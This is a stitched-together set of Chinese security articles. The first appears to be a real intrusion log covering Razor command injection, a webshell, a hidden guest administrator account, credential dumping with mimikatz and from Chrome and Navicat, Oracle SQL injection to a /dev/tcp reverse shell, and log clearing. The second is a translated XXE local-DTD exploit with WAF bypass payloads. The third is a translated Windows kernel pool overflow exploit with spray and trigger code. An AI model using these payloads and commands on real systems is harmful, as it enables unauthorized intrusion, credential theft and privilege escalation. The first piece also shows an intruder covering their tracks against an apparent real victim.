process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by fuckgov):
@cmd
测试后发现直接是system权限。
[
不过这样操作很麻烦，需要不断地改然后保存在访问。这里直接用echo写了一个小马去连接，然后在传入一个大马方便操作。
[
## 0x03 服务器提权
虽说已经是system权限了，但是我还是想进远程桌面里取看看，发现3389端口没开，使用命令`tasklist /svc`和`netstat
-ano`也没发现远程桌面开在其他端口上。然后使用以下cmd命令开启了3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
开是开了但是还是死活连接不上，翻了一通服务器发现了下面这张图。
[
因为之前用反向代理比较多，所以我第一反应是用ngrok把3389端口映射出去。然而，奇怪的事情发生了，用ngrok映射发现ip竟然变了不是服务器的ip。这直接导致我连接不上，我也不知道是啥原因，有大佬知道的话可以告诉我一下。后面又试了下正向代理。传了reGeorg-master的aspx脚本上去，windows下在配合Proxifier进行代理，直接连接，发现可以。这里其实只是单纯地限制了3389不能连接，做个端口转发也行。接下来就是添加管理员了，不过一般不建议直接添加账号，启用它的guest账号然后在添加到administrators组会比较隐蔽点。使用命令：
net user guest /active:yes
net user guest asdf123!
net localgroup administrators guest /add
即可。贴一张进入服务器后的截图。
[
## 0x04 信息收集
进入服务器后需要进行一系列的信息收集以扩大我们的战果。具体收集哪些东西就不说了，网上有很多这类文章。首先上传了一个mimikatz，读出了administrator账户的密码。等晚上老师们都下班后在登录上去。然后在Chrome浏览器里发现存了两个密码。打开一看震惊了，妥妥的弱口令还是网站后台的管理员密码。之后翻了下sqlserver,发现密码就是简单的md5加密。解密后发现全是弱口令...
[
然后看了下mstsc记录，发现存了两个记录。
[
直接用当前administrator账号的密码就连上去了。
## 0x05 离线解密Navicat密码
这一部分的思路来自klion师傅的小密圈。非常感谢klion师傅提供的高质量文章让我学习到了不少。连入内网服务器后，发现装了Navicat，打开一看却发现，已经过期了。
[
我试了下，这里可以通过改服务器当前时间重新进入，不过不建议怎么搞，这台服务器是跑了业务的，随意改时间会影响正常服务。这里可以通过读注册表的方式达到同样的效果，这里是oracle，其他数据库换一下文件名即可。
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\
MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\
Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\
Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\
PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\
SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v host 连接 ip
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v UserName 用于连接用户名
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd 用于连接的密码 hash
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd 用于连接的密码 hash
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v InitialDatabase 初始数据库，有些默认不是ORCL
[
读出hash后使用工具本地解密。
[
工具地址：<http://https://github.com/klionsec/Decryption-tool>
## 0x06 oracle提权&反弹shell
获取到上述信息后，就可以在本地连接了。在虚拟机中安装好Navicat Premium,新建连接，填入上一步获取到的信息，发现连入成功。
[
翻了一遍，没发现啥好东西。收集信息得知是oracle 10g 且为Linux系统，应该能执行系统命令。网上有很多教程，选择一种方法进行测试。
（1) 创建Java库
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
(2) 赋予Java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
(3) 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
(4) 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
(5) 执行
`select sys.LinxRunCMD('/bin/bash -c /usr/bin/pwd') from dual`
[
反弹shell：
1. 创建java代码
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.88.227/5678;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
2. 赋予java权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3. 创建函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
4. 赋予函数执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
5. 反弹shell
`select sys.reversetcp from dual`
收到弹过来的shell。
[
不过这里很多命令都执行不了也没法在继续深入了，还有思路的大佬望不吝赐教。
最后，清除日志。
[
## 0x07 写在后面的话
整个过程其实也没啥技术含量，只不过用到的东西平常都见得比较少。
参考：
<https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/>
[https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389](https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389
"https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389")
klion师傅小密圈文章 | 社区文章 |
原文地址：<https://blog.noob.ninja/spilling-local-files-via-xxe-when/>
在这篇文章中，我们将分享一个非常有趣的XXE漏洞利用技术，据我所知，这个技术最先见于`https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/`，后来GoSecure安全团队对其进行了更加深入的研究。在HTTP Out of
Band不可用，只能使用DNS请求的情况下，只要应用程序会抛出XML解析的详细错误信息，就能利用本文介绍的方法在服务器上读出本地文件。
## 漏洞的发现
在通过Burp浏览应用程序时，我发现应用程序在每个端点都使用了基于JSON的REST API。于是，我开始尝试将Content-Type转换为`application/xml`，并重放了其中的一个请求，发现应用程序竟然抛出了verbose错误，并显示了应用服务器（JBoss）等错误细节，很明显，应用程序以为解析的是一些XML，但实际上提供给它的却是JSON。所以，我就把JSON
Body转换成了对应的XML。
## 绕过WAF
由于服务器位于一个基于云的WAF后面，所以我干脆不使用XML声明，而是直接扔出XML主体。
<root>
<id>..</id>
<name>..</name>
</root>
令我吃惊的是，应用程序竟然爽快地接受了它，并且请求成功了。
于是，我立即尝试通过最简单的XXE payload来读取文件`/etc/passwd`：
<!DOCTYPE a[
<!ENTITY x SYSTEM "file:///etc/passwd">
]>
<root>
<id>1</id>
<name>&x;</name>
</root>
但WAF又被触发了，于是我在协议前加了一个空格（即`file:///etc/passwd`），这样一来，WAF就再次被绕过了！！！
## 漏洞的利用之旅
但是，该应用程序将会对所有传递给它的数据进行相应的安全检查，尤其会严格检查“name”或其他任何元素中与`/etc/passwd`有关的内容，只允许出现类似`[a-zA-Z0-9]`这样的内容。如果我试图读取一个不存在的文件，或者读取`/etc/shadow`之类的文件，它就会抛出一个权限不足或其他之类详尽的错误信息，但不会抛出文件内容，所以，可以确认其中存在XXE漏洞，也就是说，我们可以藉此确认服务器上是否存在某文件，或是否有权访问该文件。令人遗憾的是，我们无法在响应中得到文件的内容。
## 问道XXE OOB
我想跳过所有麻烦的事情，所以转而使用OOB Trick通过FTP来检索文件，由于App Server是JAVA语言编写的，为此使用了burp
collaborator，并使用了参数实体，而不是常规的实体。
<!DOCTYPE a[
<!ENTITY % x SYSTEM " http://something.burpcollaborator.net"> %x;
]>
<root>
<id>1</id>
<name>test</name>
</root>
再次重申，在这里HTTP Out of Band是无法使用的。
## 基于子域的OOB XXE
一个多星期后，我在一个子域上发现了一个RCE漏洞，出于好奇，我在该子域上面托管了一个恶意的DTD文件：一方面可以通过XXE漏洞读取`/etc/passwd`文件，另一方面还能利用详细的服务器错误信息来泄露文件的内容，具体如下所示：`https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/`，并且最终得偿所愿了！我想，可能是因为这个子域位于白名单中，所以允许建立出站连接的缘故。
为此，公司给我发了一点奖励，并希望我在不借助已知RCE漏洞的情况下利用这个XXE漏洞，如果成功的话，我就能获得全额奖金。
## 在不借助OOB的情况下，通过本地DTD实现完整的XXE漏洞利用
尝试了很长一段时间，我都一直无法利用这个漏洞，但后来`https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html`给我带来了一线希望。在这篇文章中，作者列出了许多可能已经存在于系统中的常见的DTD文件，以及如何利用这些DTD文件通过XXE漏洞实现文件读取，并且只需覆盖/替换这些DTD文件中已经存在的实体即可。然而，在我的目标服务器上，该文章中列出的那些DTD文件一个也不存在。
本地DTD技术简介：如果我们发现目标服务器文件系统中某个地方已经存在任何DTD文件，只要该文件含有参数实体（比如`<!ENTITY % injectable
"something">`），并且该实体会被DTD本身所调用（比如`<!ENTITY % random
(%injectable;)>`），那么，我们基本上可以覆盖该实体的内容，为此，我们只需利用OOB技术在外部evil.DTD中写入我们要做的事情即可。比如，假设服务器上存在一个`legit.td`：
/usr/share/xyz/legit.dtd:
..
<!ENTITY % injectable "something">
..
<!ENTITY % random (%injectable;)>
..
..
同时，如果我们利用XXE加入以下内容：
<!DOCTYPE xxe[
<!ENTITY x SYSTEM "file:///usr/share/xyz/legit.dtd">
<!ENTITY % injectable 'injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ('>
%x;
]>
<root>
..
</root>
那么，在解析XML内容的时候，会将
<!ENTITY % random (%injectable;)>
转化为：
<!ENTITY % random (injecting)> You Control Contents inside this DTD now!!! <!ENTITY % fake ()>
## 寻找本地DTD文件
GoSecure还发布了一个工具，用于查找包含可注入实体的DTD文件，同时，该工具需要将Docker容器导出的文件系统作为其输入。因此，我提取了JBoss
Docker映像的特定版本，并启动它，然后，通过以下命令将Docker容器导出到文件系统中：
$ docker export {container} -o jboss.tar
$ java -jar dtd-finder-1.0-all.jar jboss.tar
dtd-finder-1.0-all.jar的输出内容
这个工具在目标JBoss Docker容器的文件系统的`jar/zip`文件中发现了一些带有可注入实体的DTD文件。
以下是发现的jar归档：`/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar`，其中含有以下文件：`/schema/xmlschema/XMLSchema.td`，该文件中含有一个名为“xs-datypes”的可注入实体。
并且，XMLSchema.td中含有以下内容：
....
<!ENTITY % xs-datatypes PUBLIC 'datatypes' 'datatypes.dtd' >
....
%xs-datatypes; <!-- Here We can overwrite parameter Entity % xs-datatypes and our content would be then passed & parsed here-->
...
....
所以，我不得不在XXE Payload中创建以下实体（用于覆盖XMLSchema.td中的现有实体）：
<!ENTITY % xs-datatypes '<!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
幸运的是，当前的利用对象是一个基于JAVA的应用程序，所以，它使用的“jar”协议可以用来读取归档（jar/zip等）中的文件。例如：对于
`jar:file://var/www/html/test.zip!/test.txt`来说，其中test.txt就是test.zip归档中的一个文件。
由于我是在自己的本地环境下进行实验的，所以，我立即检查这个jar文件是否也存在于相应的应用程序中，发现它确实存在。接下来，我所要做的就是：使用jar协议读取`jbossxacml-x.x.x.Final-redhat-x.jar`中的XMLSchema.dtd文件，然后，通过创建“xs-datatypes”实体来覆盖其内容。
<!DOCTYPE root [
<!ENTITY % x SYSTEM
"jar:file:///jboss-as/modules/system/layers/base/org/jboss/security/xacml/main/jbossxacml-x.x.x.Final-redhat-x.jar!/schema/xmlschema/XMLSchema.dtd">
<!ENTITY % xs-datatypes ' <!ENTITY % file SYSTEM " file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM ' file:///abcxyz/%file;'>">
%eval;
%error;
'>
%x;
]>
<root>
<id>..</id>
<name>test</name>
</root>
然后，见证奇迹的时刻到了! 它在HTTP响应中的错误消息本身中曝出了`/etc/passwd`文件的内容。
利用异常通过本地DTD技术实现具有完整响应的XXE攻击
## 参考资料
* <https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/> <https://blog.netspi.com/forcing-xxe-reflection-server-error-messages/>
* <https://github.com/GoSecure/dtd-finder> <https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html> | 社区文章 |
# 【技术分享】瓮中之鳖：Windows内核池混合对象利用
|
##### 译文声明
本文是翻译文章，文章来源：srcincite.io
原文地址：<http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】Windows内核池喷射**](http://bobao.360.cn/learning/detail/3921.html)
[**【技术分享】HEVD内核漏洞训练——陪Windows玩儿**](http://bobao.360.cn/learning/detail/3544.html)
**前言**
****
本文主要探讨一个基本的内核池溢出漏洞，并研究在通过混合内核对象进行内核池喷射后，如何通过覆盖TypeIndex来进行渗透的方法。
此前，我参加了[AWE系列课程](http://www.fuzzysecurity.com/tutorials.html)，在课程结束后，我很想找到一些可以利用的内核漏洞。尽管我可以使用[HackSys
Extreme Vulnerable
Driver（HEVD）](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)这个非常棒的学习工具，但我认为，在实际应用中发现并利用漏洞，会让我更有成就感。
于是，我开始学习如何开发一个Windows内核设备驱动程序的fuzzer，并使用我自己的fuzzer去发现漏洞，这个漏洞就是我借助自己的fuzzer发现的。希望我的漏洞发现和利用过程能对大家有所帮助。
**漏洞分析**
****
在测试了一些SCADA（数据采集与监视控制系统）产品后，我发现了一个叫做“WinDriver”的第三方组件，它其实是[Jungo的DriverWizard
WinDriver](http://www.jungo.com/st/products/windriver/)，该组件通常捆绑于几个SCADA应用程序之中，经常能在旧版本中发现它的踪迹。
在安装之后，它将一个名为 **windrvr1240.sys**
的设备驱动程序安装到Windows的驱动文件夹内。通过逆向，我找到了几个ioctl代码，可以直接插入到我fuzzer的配置文件中。
{
"ioctls_range":{
"start": "0x95380000",
"end": "0x9538ffff"
}
}
然后，我通过使用 **verifier/volatile/flags 0x1/adddriver windrvr1240.sys**
，启用了一个特殊的池，并初步尝试运行了我的fuzzer。随后，成功发现了几个可以利用的漏洞，其中一个漏洞引起了我的注意：
kd> .trap 0xffffffffc800f96c
ErrCode = 00000002
eax=e4e4e4e4 ebx=8df44ba8 ecx=8df45004 edx=805d2141 esi=f268d599 edi=00000088
eip=9ffbc9e5 esp=c800f9e0 ebp=c800f9ec iopl=0 nv up ei pl nz na pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010207
windrvr1240+0x199e5:
9ffbc9e5 8941fc mov dword ptr [ecx-4],eax ds:0023:8df45000=????????
kd> dd esi+ecx-4
805d2599 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25a9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25b9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25c9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25d9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25e9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25f9 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d2609 e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
这是存储在[esi +
ecx]中的用户控制数据，而它会对超出内核池的部分进行写入，通过进一步的研究发现，这其实是由loc_4199D8中的内联赋值操作而导致的池溢出。
.text:0041998E sub_41998E proc near ; CODE XREF: sub_419B7C+3B2
.text:0041998E
.text:0041998E arg_0 = dword ptr 8
.text:0041998E arg_4 = dword ptr 0Ch
.text:0041998E
.text:0041998E push ebp
.text:0041998F mov ebp, esp
.text:00419991 push ebx
.text:00419992 mov ebx, [ebp+arg_4]
.text:00419995 push esi
.text:00419996 push edi
.text:00419997 push 458h ; fized size_t +0x8 == 0x460
.text:0041999C xor edi, edi
.text:0041999E push edi ; int
.text:0041999F push ebx ; void *
.text:004199A0 call memset ; memset our buffer before the overflow
.text:004199A5 mov edx, [ebp+arg_0] ; this is the SystemBuffer
.text:004199A8 add esp, 0Ch
.text:004199AB mov eax, [edx]
.text:004199AD mov [ebx], eax
.text:004199AF mov eax, [edx+4]
.text:004199B2 mov [ebx+4], eax
.text:004199B5 mov eax, [edx+8]
.text:004199B8 mov [ebx+8], eax
.text:004199BB mov eax, [edx+10h]
.text:004199BE mov [ebx+10h], eax
.text:004199C1 mov eax, [edx+14h]
.text:004199C4 mov [ebx+14h], eax
.text:004199C7 mov eax, [edx+18h] ; read our controlled size from SystemBuffer
.text:004199CA mov [ebx+18h], eax ; store it in the new kernel buffer
.text:004199CD test eax, eax
.text:004199CF jz short loc_4199ED
.text:004199D1 mov esi, edx
.text:004199D3 lea ecx, [ebx+1Ch] ; index offset for the first write
.text:004199D6 sub esi, ebx
.text:004199D8
.text:004199D8 loc_4199D8: ; CODE XREF: sub_41998E+5D
.text:004199D8 mov eax, [esi+ecx] ; load the first write value from the buffer
.text:004199DB inc edi ; copy loop index
.text:004199DC mov [ecx], eax ; first dword write
.text:004199DE lea ecx, [ecx+8] ; set the index into our overflown buffer
.text:004199E1 mov eax, [esi+ecx-4] ; load the second write value from the buffer
.text:004199E5 mov [ecx-4], eax ; second dword write
.text:004199E8 cmp edi, [ebx+18h] ; compare against our controlled size
.text:004199EB jb short loc_4199D8 ; jump back into loop
负责复制的循环，实际上会为每次循环（qword）复制8个字节，并溢出大小为0x460（0x458 + 0x8字节头）的缓冲区。
**复制的大小，直接是攻击者在输入缓冲区控制部分的大小**
。不存在整数溢出，也并没有将其存储在不易被找到的地方。我们可以看到，0x004199E8的大小，就是相应缓冲区中，从+0x18偏移量控制部分的大小。这样一来，利用就变得尤为简单。
**漏洞利用**
****
我们可以借助TypeIndex对象覆盖的方式来进行这一漏洞的利用，具体来说是使用内核对象，覆盖存储在_OBJECT_HEADER中的TypeIndex。更详细的内容，可以参考文末我引用的文章。
以往我们使用的一些常用对象都是Event对象（大小为0x40）和IoCompletionReserve对象（大小为0x60），常用的利用方式是像这样：
1\. 用大小为X的对象造成池喷射，填满内存页；
2\.
通过立即释放内存（free）或减少对象的引用计数（release，不会立即释放）相邻的对象，以触发coalescing，从而达到目标区块要求的大小（在本例中是0x460）；
3\. 分配和溢出缓冲区，这样有一定几率可以消除下一个对象的_OBJECT_HEADER，从而利用TypeIndex。
举例来说，如果溢出的缓冲区大小是0x200，就可以分配一组Event对象，并释放（free）其中的0x8（因为0x40 * 0x8 ==
0x200），这样一来我们就可以在其中进行分配和溢出。所以，我们假设需要的内核对象，是池大小的n次幂。
但问题是，通过这种方式有时并不会有效，例如我们的池大小是0x460，如果我们这样的话：
>>> 0x460 % 0x40
32
>>> 0x460 % 0x60
64
>>>
结果表明，总会有剩余的一部分空间，也就是说我们不能使其产生一个特定大小的区块。后来，我发现有一种方法可以解决该问题，我们可以搜索具有目标缓冲区大小的n次幂的内核对象，并使用这些找到的对象。经过搜寻，我发现了另外两个内核对象：
# 1
type = "Job"
size = 0x168
windll.kernel32.CreateJobObjectW(None, None)
# 2
type = "Timer"
size = 0xc8
windll.kernel32.CreateWaitableTimerW(None, 0, None)
然而，这些大小也同样不能使用，因为它们没有满足要求。经过一段时间的测试，我意识到，可以采用这样的方式：
>>> 0x460 % 0xa0
0
>>>
这样一来，0xa0就可以均匀地分成几个0x460，那么我们再将Event和IoCompletionReserve对象结合起来（0x40 + 0x60 =
0xa0），就能够实现！
**喷射过程**
****
def we_can_spray():
"""
Spray the Kernel Pool with IoCompletionReserve and Event Objects.
The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
These are allocated from the Nonpaged kernel pool.
"""
handles = []
IO_COMPLETION_OBJECT = 1
for i in range(0, 25000):
handles.append(windll.kernel32.CreateEventA(0,0,0,0))
hHandle = HANDLE(0)
handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))
# could do with some better validation
if len(handles) > 0:
return True
return False
这个函数可以喷出50000个对象，其中包括25000个Event对象和25000个IoCompletionReserve对象。在WinDBG中，看起来非常炫酷：
kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size: 60 previous size: 0 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
85d1f060 size: 60 previous size: 60 (Allocated) IoCo (Protected) <--- chunk first allocated in the page
85d1f0c0 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f100 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1f160 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1ff60 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1ffc0 size: 40 previous size: 60 (Allocated) Even (Protected)
**构建洞**
****
“IoCo”标志代表IoCompletionReserve对象，“Even”标志代表Event对象。请注意，我们第一个区块的偏移量是0x60，这就是我们开始释放（free）的偏移量。如果我们释放一组IoCompletionReserve和Event对象，那么我们的计算结果便是：
>>> "0x%x" % (0x7 * 0xa0)
'0x460'
>>>
此时，会产生我们所希望的大小。让我们迅速来看看如果我们只释放接下来的7个IoCompletionReserve对象后会怎么样：
kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size: 60 previous size: 0 (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
85d1f060 size: 60 previous size: 60 (Free) IoCo
85d1f0c0 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f100 size: 60 previous size: 40 (Free) IoCo
85d1f160 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1f420 size: 60 previous size: 40 (Free) IoCo
85d1f480 size: 40 previous size: 60 (Allocated) Even (Protected)
85d1f4c0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1f520 size: 40 previous size: 60 (Allocated) Even (Protected)
......
85d1ff60 size: 60 previous size: 40 (Allocated) IoCo (Protected)
85d1ffc0 size: 40 previous size: 60 (Allocated) Even (Protected)
可以看出，我们已经拥有很多已被释放的块，但它们是各自独立的。但是，我们仍需要把它们合并成一个0x460的区块。我们首先将区块的偏移量设置为0x60（第一个指向0xXXXXY060）。
bin = []
# object sizes
CreateEvent_size = 0x40
IoCompletionReserve_size = 0x60
combined_size = CreateEvent_size + IoCompletionReserve_size
# after the 0x20 chunk hole, the first object will be the IoCompletionReserve object
offset = IoCompletionReserve_size
for i in range(offset, offset + (7 * combined_size), combined_size):
try:
# chunks need to be next to each other for the coalesce to take effect
bin.append(khandlesd[obj + i])
bin.append(khandlesd[obj + i - IoCompletionReserve_size])
except KeyError:
pass
# make sure it's contiguously allocated memory
if len(tuple(bin)) == 14:
holes.append(tuple(bin))
# make the holes to fill
for hole in holes:
for handle in hole:
kernel32.CloseHandle(handle)
在我们释放函数的同时，在池中打洞，并获得我们所期待的释放块。
kd> !pool 8674e000
Pool page 8674e000 region is Nonpaged pool
*8674e000 size: 460 previous size: 0 (Free) *Io <-- 0x460 chunk is free
Pooltag Io : general IO allocations, Binary : nt!io
8674e460 size: 60 previous size: 460 (Allocated) IoCo (Protected)
8674e4c0 size: 40 previous size: 60 (Allocated) Even (Protected)
......
8674ef60 size: 40 previous size: 60 (Allocated) Even (Protected)
8674efa0 size: 60 previous size: 40 (Allocated) IoCo (Protected)
在此时，释放的区块已经合并，并且拥有一个完美的大小，接下来就可以进行分配和覆盖。
**对已释放区块的分配和覆盖**
****
def we_can_trigger_the_pool_overflow():
"""
This triggers the pool overflow vulnerability using a buffer of size 0x460.
"""
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
DEVICE_NAME = "\\.\WinDrvr1240"
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
inputbuffer = 0x41414141
inputbuffer_size = 0x5000
outputbuffer_size = 0x5000
outputbuffer = 0x20000000
alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
IoStatusBlock = c_ulong()
if driver_handle:
dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,
inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
return True
return False
**实现溢出**
****
大家可能注意到，在对缓冲区中偏移0x90的利用中，有一个空的dword。
def alloc_pool_overflow_buffer(base, input_size):
"""
Craft our special buffer to trigger the overflow.
"""
print "(+) allocating pool overflow input buffer"
baseadd = c_int(base)
size = c_int(input_size)
input = "x41" * 0x18 # offset to size
input += struct.pack("<I", 0x0000008d) # controlled size (this triggers the overflow)
input += "x42" * (0x90-len(input)) # padding to survive bsod
input += struct.pack("<I", 0x00000000) # use a NULL dword for sub_4196CA
input += "x43" * ((0x460-0x8)-len(input)) # fill our pool buffer
该溢出需要始终存在，并且不能再被处理。下列的代码可以在复制循环后直接执行：
.text:004199ED loc_4199ED: ; CODE XREF: sub_41998E+41
.text:004199ED push 9
.text:004199EF pop ecx
.text:004199F0 lea eax, [ebx+90h] ; controlled from the copy
.text:004199F6 push eax ; void *
.text:004199F7 lea esi, [edx+6Ch] ; controlled offset
.text:004199FA lea eax, [edx+90h] ; controlled offset
.text:00419A00 lea edi, [ebx+6Ch] ; controlled from copy
.text:00419A03 rep movsd
.text:00419A05 push eax ; int
.text:00419A06 call sub_4196CA ; call sub_4196CA
值得注意的是，代码将会调用sub_4196CA。此外还要注意，@eax会成为我们的缓冲区+0x90（0x004199FA）。我们具体看一下这个函数调用：
.text:004196CA sub_4196CA proc near ; CODE XREF: sub_4195A6+1E
.text:004196CA ; sub_41998E+78 ...
.text:004196CA
.text:004196CA arg_0 = dword ptr 8
.text:004196CA arg_4 = dword ptr 0Ch
